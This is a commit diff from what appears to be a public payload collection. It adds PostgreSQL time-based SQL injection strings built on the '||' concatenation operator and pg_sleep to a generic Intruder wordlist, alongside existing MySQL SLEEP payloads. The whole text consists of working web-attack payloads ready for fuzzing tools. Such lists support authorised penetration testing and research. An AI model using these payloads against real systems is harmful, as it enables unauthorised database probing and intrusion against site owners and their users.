Merge pull request #779 from florianamette/patch-1

Add support for `||` (concatenation) operator in PostgreSQL for time based SQL injection

Author: swisskyrepo

SQL Injection/Intruder/Generic_TimeBased.txt

@@ -40,6 +40,16 @@ pg_sleep(5)--
 1)) or pg_sleep(5)--
 ")) or pg_sleep(5)--
 ')) or pg_sleep(5)--
+||pg_sleep(5)--
+1||pg_sleep(5)--
+"||pg_sleep(5)--
+'||pg_sleep(5)--
+1)||pg_sleep(5)--
+")||pg_sleep(5)--
+')||pg_sleep(5)--
+1))||pg_sleep(5)--
+"))||pg_sleep(5)--
+'))||pg_sleep(5)--
 AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe
 AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'='
 AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)